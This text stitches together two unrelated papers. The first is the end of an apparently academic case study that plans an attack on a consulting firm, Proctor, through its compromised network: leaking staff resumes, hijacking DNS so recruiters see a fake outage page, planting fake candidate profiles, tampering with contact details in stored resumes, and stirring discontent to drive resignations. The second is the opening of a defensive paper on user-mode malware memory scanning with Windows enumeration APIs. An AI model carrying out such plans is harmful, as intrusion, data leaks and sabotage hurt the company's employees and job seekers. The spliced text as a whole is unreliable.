Consulting and IT services companies are not well-known for their ”human” aspect. Even if their 
website promotes the way the handle the human resources2. Conversely, when one looks for less 
corporate information, sites like munci.org or forums hardware.  fr  are very talkative about life 
inside the company. Most of the time, it is very different of the official presentation. 

All these companies are very alike, and recruiting people works in an industrial way to compensate 
a high turn-over. When a company claims it will hire 4000 people whereas the whole company has 
15000 workers (without buying another company), one can wonder what are the expectations of 
people leaving the company. Thus, we will target this critical process, playing on the two part of the 
recruitment process: making hiring harder, and encourage the resignations. 

We start with hiring important workers (e.g. salesmen, engineers) noticed during the information 
gathering step. We can provide them opportunities they are not looking for, for instance by feeding 
them with job offers for a similar job, but much more paid. However, this is not enough: even if 
they see those offers, they may not dare to answer: we will have them contacted then. Since we 
have full control of the network, we can find in the Human Resource department the resume of all 
the employees. Unfortunately, it will leak, for instance to another alike company, a recruitment 
agency,  or  even  on  Internet.  Such  a  leak  is  a  double  advantage  for  us.  First,  it  increases  the 
suspicion about  how Proctor  is  managed from the inside.  Second, if  some employees leave,  it 
means the price to buy the company will decrease. 

Secondly, we corrupt the hiring process. Most of the people in charge of that process are young and 
they seek always on the same websites (e.g. monster). Let us do several tricks. It is easy with the 
help of the DNS server to redirect – from time to time – the request to another computer, one we 
control. It  then displays ”Server is down, sorry for the inconvenience. We are working hard to 
repair it.” Still to keep the recruiters occupied, we create fake profiles, so that they hunt ghosts. This 
can be done easily with the help of the script and the use of some keywords we know recruiters will 
look for. More difficult, since we control the network, we can look for the resumes gathered by the 
recruiters (and nicely stored on a shared repository) and slightly change what looks like a phone 
number or an email address. More ghosts to hunt. 

Additionally, we can also use some piece of information found during the information gathering 
step. For instance, we have discovered that one of the executive director has just put his resume on 
many social network and seems to be looking for a new position: that is not very motivating for the 

2 It is quite funny to notice how all company share the same language, the same words, so that all websites look similar.



people working with him. Of course, as the to managers has also imposed a co-executive director to 
this one, in charge of half of his missions, he is not very happy and feel like he will be soon pushed 
away. This insecurity feeling can be shared with the others employees since it deserves our goals.

 Furthermore, Human Resources have an Intranet which is reachable through Internet since many 
employees work far from the company. A poll has been submitted to the workers. It reveals that a 
majority of people consider themselves badly paid. This is the main charge again Proctor, so let us 
increase this feeling too. We dug up some information and found an article in a famous and well-
considered newspaper ´ – Le Figaro Economie – giving the average wages for the same kind of 
company, and the repartition between fixed part and variable part. Proctor is badly ranked for both 
of these factors. A similar document can also be found in a well-known agency in charge of the 
employments  of  engineers.  We  can  now  use  our  contesting  website  to  share  these  pieces  of 
information with the Proctor’s employees. We create a document explaining what is the strategy 
about salaries at Proctor, and publish it on the website. First, it will not encourage people to come 
working at Proctor. Second, those already working there may want to work somewhere else. 

Last words about these black operations. They are a matter of imagination, but also of technical 
skills. Many actions are possible, but they are greatly risky for the attacker. Most of the time, they 
are particularly interesting in order to get some information or to disrupt the system from the inside. 
However, it is very important not to be identified, and thus well concealed otherwise, the answer 
will be stronger.

Conclusion

Attacks based on information are happening every day, at different scales. We showed how they 
could use Internet (which is far from being the only vector) using it both as a container and the 
content. The advantage of Internet comes from the speed at which information propagates, and its 
durability, (it is almost impossible to erase an information from Internet). Furthermore, we have 
explained how some SEO techniques can also improve our effects. Combining both the content 
(use  of  information)  and  technical  issues  of  the  container  (e.g.  SEO,  hacking)  is  much  more 
efficient than each of these domains alone. 

The example we chose – most assumptions come from a real but anonymized case study – shows 
how such  operations  can be  complex.  Each element  interacts  with  others.  The  difficulty  is  to 
evaluate  the impact  of  an element  on the others,  so  that  they increase the effects,  rather  than 
cancelling them. 

Attacks based on information rest on information, whether it needs to be created, modified, hidden 
or revealed, whether it is true or false. Of course, the piece of information itself is very important. 
Nevertheless, the way it  reaches its  target also influences the target.  Both the medium and the 
appearance have an essential role to play in the operation. This is what we emphasized through the 
use of SEO for instance. 

Proctor is supposedly too busy to run its own business to detect what is happening until it is too 
late. A consulting and IT services company is like an empty shell (in the way it does not have its 
own products, its own specific knowledge). Thus, attacking based only on information is not easy. 
That is  why we chose to target some internal mechanics,  vital  for it  to work properly:  trades, 
corporate image, human resources. With enough sand in it, Proctor will surely become an Indian 
company.
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User-mode Memory scanning on 32-bit & 64-bit Windows

Abstract

Memory  scanning  is  an  essential  component  in  detecting  and  deactivating  malware  while  the  
malware is still active in memory. The content here is confined to user-mode memory scanning for  
malware  on  32-bit  and  64-bit  Windows  NT  based  systems  that  are  memory  resident  and/or  
persistent over reboots. Malware targeting 32-bit Windows are being created and deployed at an  
alarming rate today. While there are not many malware targeting 64-bit Windows yet, many of the  
existing Win32 malware for 32-bit Windows will work fine on 64-bit Windows due to the underlying  
WoW64 subsystem.

Here, we will present an approach to implement user-mode memory scanning for Windows. This  
essentially means scanning the virtual address space of all loaded processes in memory. In case of  
an infection, while the malware is still active in memory, it can significantly limit detection and  
disinfection. The real challenge hence actually lies in fully disinfecting the machine and restoring  
back to its clean state. Today’s malware apply complex anti-disinfection techniques making the task 
of restoring the machine to a clean state extremely difficult. Here, we will discuss some of these  
techniques with examples from real-world malware scenarios. Practical approaches for user-mode  
disinfection will be presented. By leveraging the abundance of redundant information available in  
various  WinNT  structures  that  can  be  accessed  via  the  Win32  API  from  user-mode,  certain  
techniques to detect hidden processes will  also be presented. Certain challenges in porting the  
memory scanner to 64-bit Windows and Vista will be discussed. The advantages and disadvantages  
of implementing a memory scanner in user-mode (rather than kernel-mode) will also be discussed.

Introduction

Computer malware targeting Microsoft’s Windows operating system has been constantly evolving 
in  order  to  remain stealthier,  while  still  being effective  in  its  attack.  More and more  complex 
malware  are  rapidly  being  generated  and  deployed  each  day  (Kerbs,  2006).  Powered  with 
automated malware generation tools and customized server  side encryption/packing,  the widely 
spread malware authors have plagued computer users (Skoudis, 2007). The biggest challenge that 
the anti-malware industry has to face today is the sheer quantity of malware being generated on a 
daily  basis  (Barwise,  2008).  The  shift  in  intent  of  malware  authors  toward  monitory  gain  has 
furthered the creation of stealthier and more subtle malware. This has resulted in malware that apply 
complex techniques to disallow detection and more so, disinfection.

Today’s Windows based malware apply complex methods of anti-disinfection such as:

• Protecting its associated files on disk by disallowing access to any external program, 
such as an on-demand or on-access scanner.

• Protecting itself and its associated processes in memory from being terminated by using 
multi thread/process monitoring.

• Running as a SYSTEM process or native service to thwart termination.

• Injecting  code  (such  as  a  dynamic  link  library)  within  system  processes  such  as 
winlogon.exe, explorer.exe, services.exe, lsass.exe, etc.

• Monitoring its registry entries to thwart deletion.

• Patching system files.



• Hiding its associated processes in memory and/or files on disk by patching user-mode 
APIs, native APIs, or kernel data structures.

Hence, while the malware and/or its components are still active in memory, it makes the task of 
disinfecting and restoring the machine to a clean state significantly harder. It is imperative that an 
anti-malware system for the Windows OS has a good implementation of both user-mode and kernel-
mode memory scanning. A user-mode memory scanner purely operates in user-mode and can only 
access the user-space virtual memory with the privileges of the currently logged-on user. A kernel-
mode memory scanner operates in kernel-mode and can access complete user-space and kernel-
space virtual memory with the highest privileges. The discussion here is confined to user-mode 
memory scanning.

Implementing a user-mode memory scanner for Windows NT based systems involves the usage of 
several user-mode Win32 APIs and native APIs. These APIs allow enumeration of loaded modules 
and device drivers, as well as actively running processes and threads. Using these APIs, the user-
mode  memory  scanner  would  take  advantage  of  as  much  redundant  information  that  is  made 
available  by  the  operating  system  and  accessible  from  user-mode.  This  involves  retrieving 
information such as enumeration of all active processes, process heaps, threads, device drivers, and 
loaded modules (such as DLLs). The idea behind obtaining redundant information using several 
methods (essentially from several different data structures maintained by the operating system), is 
to be able to “see” these memory components, least they may have been hidden by a malware using 
any of the several bypassing techniques. For example, the malware may have hooked a few of the 
user-mode APIs or native APIs that are used for enumeration, but may have overlooked bypassing 
some of the other APIs also used for enumeration. In this case, we will have a good chance of 
discovering the hidden malware components.

The  following  sections  discuss  related  work  and  background  information  that  is  useful  to 
understand  memory  scanning  on  Windows.  This  is  followed  by  a  discussion  of  enumeration 
techniques, disinfection techniques and an approach to combine these techniques in order to obtain 
useful data for memory scanning. The paper is concluded with a brief discussion about the pros and 
cons of implementing a memory scanner in user-mode.

Related Work

A reliable published work related to memory scanning on 32-bit Windows NT based systems is by 
Ször  (1999).  The  paper  explains  implementation  of  both  user-mode  and  kernel-mode  memory 
scanner, weighing in on the advantages of implementing memory scanning in kernel-mode. Several 
issues with real world malware detection and disinfection were also presented. 

Background – Windows NT based operating systems

Microsoft’s first 32-bit operating system, Windows NT 3.1, comprised of micro-kernel architecture, 
memory  protection,  pre-emptive  multitasking  scheduler,  backward  compatibility  with  16-bit 
versions of Windows and Win32 API, and Windows NT File System (NTFS). With the release of 
Windows NT 4.0 in 1996, several  major improvements were introduced in terms of efficiency, 
speed,  reliability,  scalability  and  security.  Examples  of  today’s  Windows  NT based  operating 
systems are Windows 2000, Windows XP, Windows Server 2003, and Windows Vista, to name a 
few. These are all based on the same core as the Windows NT 4.0, but with newer enhancements 
that exploit advanced features of modern processor architectures. The Windows NT kernel is not a 
pure  microkernel  but  rather  a  hybrid  kernel  that  combines  aspects  of  both  microkernel  and 
monolithic kernel architectures. This allows for most of the core kernel code to share the same 
memory address  space.  Although this  improves efficiency,  a  pit-fall  to this  is  that  other  kernel 



components (such as third party device drivers) could potentially compromise the integrity of the 
kernel. All discussions in this paper pertain to Windows operating systems that are based on the 
core Windows NT kernel.

Processes and Threads

A process  can  be  described  to  consist  of  the  following  essential  components  (Solomon  & 
Russinovich, 2004, p. 4-5):

• A process ID, which uniquely identifies the process.

• An access token, which uniquely identifies the owner, security groups, and privileges 
associated with the process.

• A private virtual address space, reserved by the operating system.

• Executable program (code and data) mapped into the process’ virtual address space.

• At least one thread of execution.

• A list  of  open  handles  to  resources  allocated  by  the  operating  system  that  can  be 
accessed by any thread in the process.

• Information about resources the system has allocated for it, such as files, shared memory 
sections, and synchronization objects.

A  thread  can  be  described  to  consist  of  the  following  essential  components  (Solomon  & 
Russinovich, 2004, p. 4-5):

• A thread ID, which uniquely identifies the thread.

• An access token, which uniquely identifies the owner, security groups, and privileges 
associated with the thread.

• A Thread-Local  Storage (TLS),  which is  a  private storage area that  can be used by 
subsystems, run-time libraries, and DLLs.

• Two separate stacks to use while the thread is running in user-mode and kernel-mode.

• The contents of CPU registers that represent the state of the CPU.

The  context of a thread is defined by the contents of the CPU registers, the stacks, and the TLS. 
These hold all the information that is required to continue running the thread after a context switch. 
Every thread running inside a process has their own context but they share the process’ virtual 
address space and resources. Hence, any thread in a process can access the memory and handles of 
any other thread running inside the same process. However, threads are not allowed to access the 
virtual address space of any other process, unless the other process specifically makes available 
some of its virtual address space as a file-mapping object.

Separation of Kernel-mode and User-mode

The  Windows  NT based  architecture  clearly  separates  the  user-mode  code  (ring  3)  from  the 
underlying kernel-mode code (ring 0). These two modes are part of the processor's hardware state. 
On x86 processors, this “memory access mode” is known as the IO privilege level (IOPL). Hence 
kernel-mode is IOPL 0 (ring 0) and user-mode is IOPL 3 (ring 3). This is to keep any buggy or 
malicious  user-mode  applications  from  crashing  or  compromising  the  kernel.  User-mode 
applications are less privileged and access the system’s resources like registry, file system, memory 



etc. via the Win32 API. Kernel-mode is the mode of execution in the processor that grants access to 
entire system memory and all the processor’s instructions. The Windows NT architecture provides 
extensibility of its kernel functionality by allowing device drivers to load in the kernel. Windows 
will tag memory pages specifying which mode is required to access the memory, but Windows does 
not  protect  memory in kernel-mode from other  threads running in kernel-mode.  Windows only 
supports these two modes of execution today, although Intel and AMD CPUs actually support four 
privilege modes (or rings) in their chips to protect system code and data from being overwritten or 
corrupted by code of lesser privilege.

The Windows subsystem includes the Win32 subsystem service process (csrss.exe), the subsystem 
API library (e.g. kernel32.dll, advapi32.dll, gdi32.dll, and ntdll.dll), fixed processes (winlogon.exe 
and  smss.exe), the RPC subsystem (rpcss.exe), the local security authority subsystem (lsass.exe), 
and service processes that run independent of user logons (example: task scheduler and spooler 
service). Note that smss.exe is the only “parentless process” as it is spawned by the INIT routine in 
ntoskrnl.exe. Windows implements the Win32 subsystem as Dynamic Link Libraries (DLLs). This 
provides an Application Programming Interface (API) to the system services that reside in kernel 
memory.  By  using  this  API,  application  developers  can  write  software  that  will  survive  most 
operating system upgrades. Usually, these applications do not call the Windows system services 
directly; instead, they go through one of these implemented APIs.

When an application in user-mode requests a system service, it usually involves invoking the Win32 
APIs exported by any of the Win32 subsystem DLLs. These APIs may then make a call to any of 
the native API functions in ntdll.dll. The native API function then invokes the corresponding system 
service  either  by  executing  the  software  interrupt  ‘int  0x2e’ or  the  SYSENTER  instruction, 
depending on the version of Windows NT kernel. In Windows 2000 and earlier versions of NT 
based  operating  systems,  software  interrupts  are  used  to  call  the  kernel-mode  code.  When  an 
interrupt occurs, the CPU checks the Interrupt Descriptor Table (IDT) to determine what function 
should handle that event and then executes that function. The “System Service Dispatcher” (also 
known as KiSystemService), is the code responsible for handling system service calls. In Windows 
XP and  newer  versions  of  NT based  operating  systems,  the  mechanism involved  in  invoking 
KiSystemService is  different.  In  these  operating systems,  the  user-mode native  API  function in 
ntdll.dll directly executes the SYSENTER instruction which is provided by the CPU’s instruction 
set  to facilitate  direct  execution of  a  system service.  On execution of  this  instruction the CPU 
checks the model-specific register IA32_SYSENTER_EIP (for Intel 32-bit processors) where the 
address of KiSystemService is stored. The value of this register is loaded into the instruction pointer 
and  the  dispatcher  executes.  The  job  of  KiSystemService is  to  determine  the  requested  system 
service and execute it. This it does by looking up an offset in the System Service Dispatch Table (or 
System Service  Descriptor  Table,  SSDT)  for  the  address  of  the  requested  service.  The  SSDT 
contains addresses of all system services available on the system. The dispatcher gets the address of 
the requested kernel-mode function (which is implemented in ntoskrnl.exe) and then calls it. Note 
that, before the user-mode thread is allowed to enter the kernel in order to service the request, its 
context is switched from user-mode to kernel-mode. When the thread returns back from kernel-
mode to user-mode with the results, its context is switched back to user-mode.

Some of  the  executing  components  in  user-mode  are:  user  applications,  service  processes  and 
system support processes. User applications are custom user-executed programs that are not part of 
the operating system. Service processes execute Win32 services, such as the Workstation and Server 
services that can be configured to start automatically or manually and their execution is controlled 
by the Service Control Manager  (SCM). System support  processes are loaded by the operating 
system  but  are  not  started  by  the  SCM.  Examples  of  such  processes  are  the  Logon  process 
(winlogon.exe), Session manager (smss.exe), and the SCM (services.exe).



Virtual Memory

Windows NT allocates each process its own virtual address space. This virtual memory is a logical 
view of the actual physical memory. The memory manager (software component), with assistance 
from hardware (CPU feature),  maps the virtual addresses at  run time to corresponding physical 
addresses (Kath, 1992; Russinovich & Solomon, 2004). Parts of virtual memory belonging to each 
process  are  “paged out” to  a  file  on disk called the  pagefile.  When a paged virtual  address  is 
referenced, the memory manager loads the data back into physical memory from disk.

On 32-bit Windows NT based operating systems, the virtual memory system is based on a flat 32-
bit address space, which allows each process to “see” a total of 4 GB of private virtual memory. The 
address space layout consists of the following four regions (Solomon & Russinovich, 2004, p. 420-
428):

• 0x00000000 to 0x0000FFFF: No-access region to aid programmers.

• 0x00010000 to 0x7FFEFFFF: Process’ private address space.

• 0x7FFF0000 to 0x7FFFFFFF: No-access region that prevents threads from passing 
buffers across the user/system space boundary.

• 0x80000000 to 0xFFFFFFFF: System addresses space where the Windows executive, 
kernel, and device drivers are loaded. Only kernel-mode processes have the privilege to 
manipulate this portion of memory.

Usually the system address range begins at 0x80000000. However, it is not right to assume this 
because of the ability to boot Windows with the /3GB boot.ini switch. In order to determine the 
correct  system  address  range  start  address,  we  can  use  the  native  API  call  to 
NtQuerySystemInformation (exported by  ntdll.dll) with the  SystemInformationClass parameter set 
to SystemRangeStartInformation sub-function (whose information class number is 50).

Extended virtual addressing for x86 (32-bit addressing mode)

The Windows 32-bit server operating systems support the following extended virtual addressing 
options suitable for large Intel machines with 4 GB or more of RAM.

(a) Application Memory Tuning (/3GB boot switch), which allows user address range to grow to a 
maximum of 3 GB while shrinking the system address space to 1GB. Only applications compiled 
and  linked  with  the  /LARGEADDRESSAWARE  compiler  switch  (that  defines 
IMAGE_FILE_LARGE_ADDRESS_AWARE in the image header) can allocate a private address 
space  larger  than  2  GB.  If  the  /3GB switch  is  used,  the  maximum RAM addressable  by  any 
Windows version is 16 GB.

(b) Physical Address Extension (PAE), which provides support for 36-bit real addresses on Intel 
Xeon 32-bit processors allowing them to address as much as 64 GB of RAM, i.e. 32 bit virtual 
addresses can be mapped into RAM pages above the 4 GB boundary. This hardware feature is 
supported by Windows NT, 2000, XP, 2003 and later. This feature is activated by using the /PAE 
switch in the boot.ini file, but can also be automatically enabled if the processor supports hardware 
DEP (Data Execution Prevention).  This feature does not  change the size of the virtual  address 
space, but allows for more processes to be resident in RAM, thus reducing paging.

(c)  Address  Windowing  Extensions  (AWE),  are  API  calls  which  permit  32-bit  process  address 
spaces access to real addresses above their 4 GB virtual address limitations. Usually, AWE is used 
by applications in conjunction with PAE to extend their addressing range beyond 32-bits. Note that 
the size of the virtual address space is  not  changed but different RAM pages are mapped into 



application specified virtual addresses. The application program has to be specifically designed to 
use this feature.

Memory management on 32-bit & 64-bit Windows

The  total  number  of  addresses  available  in  virtual  memory  is  determined  by  the  width  of  the 
registers in the CPU. The bit  size of a processor refers to the size of the address space it  can 
reference. A 32-bit  processor can reference 2^32 bytes, or 4 GB of memory (in flat  addressing 
mode). 64-bit processors are theoretically capable of referencing 2^64 locations in memory, or 16 
EB  (exa-bytes),  which  is  more  than  4  billion  times  the  number  of  memory  locations   32-bit 
processors can reference. However, all 64-bit  versions of Microsoft operating systems currently 
impose a 16 TB limit on address space (addressing limit of 44 bits out of the available 64-bits) and 
allow no more than 128 GB of physical memory due to the impracticality of having 16 TB of RAM. 
Note that the AMD 64-bit processors implement a virtual address space of 48-bits (256TB), while 
the Intel Itanium2 64-bit processors implement a virtual address space of the full 64-bits (16EB) 
(Sanders, 2007). Processes created on 64-bit version of Windows are allotted 8 TB of user address 
space and 8 TB of kernel address space, with 4GB virtual address space added for 32-bit “large 
address space aware” applications. Hence, the previously mentioned extended virtual addressing are 
no longer needed with 64-bit Windows operating systems running on 64-bit hardware.

On 64-bit Windows operating systems, 32-bit processes are simply separate 64-bit processes with a 
special thunking layer that sets up an environment in which 32-bit applications are run. This layer is 
called “Wow64”, short for “Win32 on Windows 64”. A 32-bit application can detect whether it is 
running under WoW64 by calling the IsWow64Process function. The WoW64 emulator consists of 
the following DLLs:

• Wow64.dll provides thunks for the ntoskrnl.exe entry-point functions.

• Wow64Win.dll provides thunks for the win32k.sys entry-point functions.

• Wow64Cpu.dll provides  x86  instruction  emulation  on  Intel  Itanium processors.  This 
DLL is not necessary for AMD x64 processors because they execute x86-32 instructions 
at full clock speed.

Along with the 64-bit version of ntdll.dll, these are the only 64-bit binaries that can be loaded into a 
32-bit process. Note that 32-bit processes cannot load 64-bit DLLs (except for the ones mentioned 
above), and 64-bit processes cannot load any 32-bit DLLs. The Win32 API functions CreateProcess 
and  ShellExecute can launch 32-bit  and 64-bit  processes from either 32-bit  or  64-bit  processes. 
Also, 64-bit Windows operating systems (such as Windows Vista x64 Edition), will only install on 
64-bit hardware, while the 32-bit versions (such as x86 edition of Windows Vista) can run on 64-bit 
hardware as a 32-bit operating systems. Architectural limits for 32-bit and 64-bit Windows virtual 
memory can be found at (Microsoft KB Article, 2007), while maximum RAM support by 32-bit and 
64-bit editions of Windows can be found at (Microsoft MSDN documentation, 2008).

Enumerating objects in memory

There  are  several  Win32  APIs  that  help  enumerate  processes,  process  heaps,  threads,  loaded 
modules,  and  device  drivers  in  user-mode.  Windows  9x/ME  and  2000  provide  a  built-in 
implementation  (i.e.  implemented  by  kernel32.dll)  of  Tool  Help  Library.  On  the  other  hand 
Windows NT uses, for the same purpose, the PSAPI library. There are also tools available that use 
these methods such as Userdump.exe which is part of the OEM Support Tools for Windows and is a 
user-mode process dumper and viewer. The use of Win32 native APIs, although not recommended 



by Microsoft, can be extremely useful while enumerating these objects in memory. Following are 
the different methods (or functions) that can be adopted to enumerate various objects in memory:

• PSAPI functions (psapi.dll) – can be used to enumerate processes,  modules (such as 
dynamically or statically loaded DLLs by a process) and device drivers.

• Tool  Help  Library  (kernel32.dll)  –  can  be  used  to  enumerate  processes,  threads, 
modules, and heaps.

• Performance Counters (pdh.dll) – can be used to enumerate processes and threads.
• The  native  API  NTQuerySystemInformation (ntdll.dll)  –  can  be  used  to  enumerate 

processes, threads and establishing parent-child process relations. These relations assist 
in terminating malicious processes that spawn multiple child processes.

• The  native  API  NtQueryInformationProcess (ntdll.dll)  –  can  be  used  to  enumerate 
process modules and heaps within a process. It can also be used to establish parent-child 
process relations. This function also allows access to the PEB (Process Environment 
Block) of a process.

• The  native  API  NtQueryInformationThread (ntdll.dll)  –  can  be  used  to  enumerate 
threads  within  a  process.  This  function  also  allows  access  to  the  TEB  (Thread 
Environment Block) of a thread, which in turn can be used to access the PEB of the 
process it belongs to.

• Terminal  server functions (Wtsapi32.dll)  – can be used to enumerate processes on a 
terminal server.

• NTVDM sub-system functions (vdmdbg.dll) – can be used to enumerate 16-bit processes 
(or tasks) within each instance of ntvdm.exe.

A brief discussion of the use of each of these functions follows.

Enumeration using NTQuerySystemInformation native API

The Win32 API layer is a high-level interface to a subsystem built on top of the native API layer. 
Although a Win32 application can directly access the native API, this is not officially supported by 
Microsoft's  developer tools.  Access to  the native API is  possible due to the system component 
ntdll.dll.  This  DLL allows us  to  call  a  subset  of  the  functions  exported by the  kernel  module 
ntoskrnl.exe from a user-mode application. The functions exported by ntdll.dll are runtime functions 
(executed entirely in user-mode), and kernel function wrappers (that perform a switch from user-
mode to kernel-mode and back).

While there are the Nt* family of native APIs, there are also the Zw* family of native APIs with the 
same names, except for the different  prefix.  If  called from a user-mode application,  both these 
families of APIs point to the same location, and essentially take the same execution path. This is not 
true in case of kernel-mode though, i.e. each of these families of APIs when called from kernel-
mode traverse different execution paths (Viscarola, 2003).

The prototype for NtQuerySystemInformation is as shown:

NTSTATUS NTAPI NtQuerySystemInformation (

__in SYSTEM_INFORMATION_CLASS SystemInformationClass,

__out PVOID SystemInformation,

__in DWORD SystemInformationLength,

__out_opt PDWORD ReturnLength );



SystemInformationClass selects the sub-function to be called i.e. the type of information to retrieve. 
We are  interested  in  the  SystemProcessAndThreadInformation sub-function  (whose  information 
class number is 5). This sub-function returns an enumeration of all processes and threads as well as 
parent process-ids. Similarly, in order to obtain a list of all loaded drivers using, we pass in the 
SystemInformationClass  parameter as  SystemModuleInformation sub-function (whose information 
class number is 11). Sample code can be found at (Fedotov,  2006a; Fedotov,  2006b; Schreiber, 
2001). The use of native APIs is not recommended by Microsoft since associated internal structures 
could change from one version of Windows to other.

Enumeration using PSAPI functions

The process status application programming interface (PSAPI)  is  a  helper  library that  provides 
functions to obtain information about processes and device drivers. These functions are available in 
psapi.dll.  The  functions  required  for  enumeration  are:  EnumProcesses,  EnumProcessModules, 
GetModuleFileNameEx,  EnumDeviceDrivers,  GetDeviceDriverFileName.  The  enumeration 
functions  return  process  identifiers  (PIDs)  for  all  running processes  that  can  be  used  with  the 
OpenProcess function in order to obtain a handle to the process. Certain processes that run with 
higher privileges (such as CSRSS.EXE that runs as a SYSTEM process) have a security descriptor 
set that doesn't allow opening the process with necessary access rights. This issue can be resolved 
by enabling the SeDebugPrivilege (i.e. SE_DEBUG_NAME privilege) for the enumerating process. 
With this privilege turned on, the calling thread can open process handles with any access rights 
(PROCESS_ALL_ACCESS)  regardless  of  the  security  descriptor  assigned  to  a  process.  This 
privilege is granted only to users belonging to the Administrator group. Sample code can be found 
at (Fedotov, 2006a).

On 64-bit Windows NT based operating systems, if  EnumProcessModules is called from a 32-bit 
application running under WoW64 (x86 emulator for 64-bit), it can only enumerate the modules of 
a 32-bit process. If enumeration were to be implemented via a 64-bit application then it is better to 
use the EnumProcessModulesEx function which allows for better filtering of results. If this function 
is called by a 32-bit application running under WoW64, the filter flag option is ignored. Also, on 
64-bit Windows NT based operating systems, EnumDeviceDrivers fails if called from within a 32-
bit application, and will only succeed if called from within a 64-bit application. Note that 32-bit 
driver support has been removed in 64-bit Windows Vista.

Note  that  the  PSAPI  enumeration  functions  ultimately  call  the  native  API 
NtQuerySystemInformation (implemented in ntdll.dll). Hence, a malware that hooks this native API 
(using any of the user-mode or kernel-mode hooking techniques) can easily bypass enumeration via 
PSAPI functions.

Enumeration using Tool Help Library

The tool help library functions provide the ability to take a  snapshot (a read-only copy) of the 
current state of processes, threads, modules, and heaps that reside in system memory. The tool help 
functions are implemented in kernel32.dll. In order to take a snapshot of the system memory, the 
CreateToolhelp32Snapshot function  can  be  used.  Note  that  the  function  call  fails  if  we  try  to 
retrieve information for a 64-bit process from within a 32-bit process. Sample code can be found at 
(Fedotov, 2006a).

To  enumerate  heap  nodes  of  a  particular  process,  we  can  use  the  Heap32ListFirst and 
Heap32ListNext functions with a handle to the processes’ snapshot. Blocks within the heap nodes 
can be enumerated by using the Heap32First and Heap32Next functions. These functions retrieve 
enough information that can be used to read the contents of each heap block into a buffer (using the 
ReadProcessMemory function) and scanned by the memory scanner.



To  enumerate  modules  loaded  by  a  particular  process,  we  can  use  the  Module32First  and 
Module32Next functions with a handle to the processes’ snapshot. These functions retrieve enough 
information that can be used to read the memory contents of each loaded module into a buffer 
(using the ReadProcessMemory function) and scanned using the memory scanner.

On 64-bit Windows NT based operating systems, using the CreateToolhelp32Snapshot function in a 
32-bit application to retrieve module information will only include 32-bit modules, while using it in 
a  64-bit  application  will  only  include  64-bit  modules.  This  can  be  overcome  by  using  the 
TH32CS_SNAPMODULE32 flag which includes all 32-bit modules when run on 64-bit Windows.

To enumerate all active processes in memory, we can use the  Process32First and  Process32Next  
functions.  These functions retrieve important  information about  the executable file,  such as the 
process-id of its corresponding process, and the process-id of the parent process. These process-ids 
can be used to establish parent-child relationships between different processes which are helpful 
while terminating a parent malicious process and all its malicious child processes. The memory 
contents of a specific process can be read into a buffer (using the Toolhelp32ReadProcessMemory 
function or the combination of  VirtualQueryEx and  ReadProcessMemory functions) and scanned 
using the memory scanner.

To  enumerate  all  active  threads  in  the  system user  space,  we  can  use  the  Thread32First and 
Thread32Next functions. Two important pieces of information retrieved are the thread-id and the 
process-id of the process that created that thread. The thread-id and process-id can be passed on to 
OpenThread and  OpenProcess functions  respectively  in  order  to  obtain  a  handle  to  each.  The 
process handle in particular can be used with the following functions to retrieve more information: 
GetProcessImageFileName, GetModuleFileNameEx, QueryFullProcessImageName.

Note that the tool help library functions are similar to the PSAPI enumeration functions in that they 
too ultimately call the native API  NtQuerySystemInformation (implemented in ntdll.dll). Hence, a 
malware  that  hooks  this  native  API  (using  any  of  the  user-mode  or  kernel-mode  hooking 
techniques) can easily bypass enumeration via tool help library functions as well.

Enumeration using Performance Counters

The Windows NT based operating systems provide interfaces in order to obtain system information 
in the form of performance counters.  The Performance Data Helper  (PDH) functions are made 
available via pdh.dll. Performance data can be collected from either real-time sources or log files. 
For  our  purpose of  enumerating processes  we will  use  the  real-time sources.  The performance 
monitoring architecture defines several objects. Each object can have one or more instances. Each 
of these instances is associated with a set of performance counters. For our purpose, we would want 
to enumerate all instances of the object named “Process”, “Thread” and “Process Address Space”.

The “Process” performance object consists of counters that monitor running application programs 
and system processes. The counters we are interested in are: “Creating Process ID” – that shows the 
identifier of the process that created a process, and “ID Process” – that shows the unique identifier 
of a process. Note that a “Creating Process ID” counter may no longer identify a running process 
since the creating process might have terminated after it has created a process. On the other hand, 
the “ID Process” numbers are reused and only identify a process for the lifetime of that process.

The “Thread” performance object consists of counters that measure aspects of thread behaviour. 
The counters we are interested in are: “ID Process” – that shows the unique identifier of a process, 
“ID Thread” – that shows the unique identifier of a thread, “Start Address” – that shows the starting 
virtual address for a thread, and “Thread State” – that shows the current state of a thread. Just as 
“ID Process”, the “ID Thread” numbers are reused, so they only identify a thread for the lifetime of 



that  thread.  The “Thread State” values can be any of:  0 (initialized),  1 (ready),  2  (running),  3 
(standby), 4 (terminated), 5 (waiting), 6 (transition), and 7 (unknown).

The  “Process  Address  Space”  performance  object  consists  of  counters  that  monitor  memory 
allocation and use for a selected process. The counter we are interested in is: “ID Process” – that 
shows the unique identifier of a process. This counter is considered “costly”, meaning that it takes a 
long time to collect data from them.

In  order  to  enumerate  processes  and  threads  using  performance  counters,  we  can  use  the 
PdhEnumObjectItems function. This function requires as arguments the object to enumerate (which 
could be the “Process”, “Thread” or “Process Address Space” objects).

Another method using PDH functions to enumerate processes and threads is shown at (Fedotov, 
2006a). This involves using the functions PdhOpenQuery, PdhAddCounter, PdhCollectQueryData, 
PdhGetRawCounterArray, and PdhCloseQuery.

The advantage of using these APIs is that it provides a different view to obtain the list of active 
processes and threads. This information is maintained and retrieved from a different set of data 
structures than the ones used by the previously discussed methods. The disadvantage is that there 
are no PDH APIs to enumerate loaded modules within processes. Also, a malware could easily hook 
these  user-mode APIs  in  order  to  return  manipulated  results  and essentially  hide  its  malicious 
processes and threads from enumeration.

Enumeration using Windows Management Instrumentation (WMI)

WMI is Microsoft’s implementation of Web-Based Enterprise Management (WBEM) and Common 
Information Model  (CIM) standards  from the  Distributed Management  Task  Force  (DMTF).  It 
extends the Windows Driver Model (WDM) and provides for uniform access of data from different 
management sources while extending existing management protocols such as the Simple Network 
Management Protocol (SNMP). WMI is included since Windows 2000 and Windows XP and is 
available as a redistributable for previous versions of Windows. The WMI interface is based on 
Component  Object  Model  (COM)  technology and  provides  for  process  enumeration  functions. 
Sample code can be found at (Fedotov, 2006a). Again, a malware could hook the WMI or COM 
interfaces that service these enumerations in order to hide its malicious processes.

Enumerating Processes on a Terminal Server

In  order  to  enumerate  processes  on  a  terminal  server,  we  can  use  the  functions  exported  by 
Wtsapi32.dll.  The  WTSEnumerateProcesses function  retrieves  information  about  the  active 
processes on a specified terminal server. This function requires a handle to a terminal server which 
can be opened with the  WTSOpenServer function. The  WTSCloseServer function is used to close 
the handle. If the application enumerating the processes is running on the terminal server itself then 
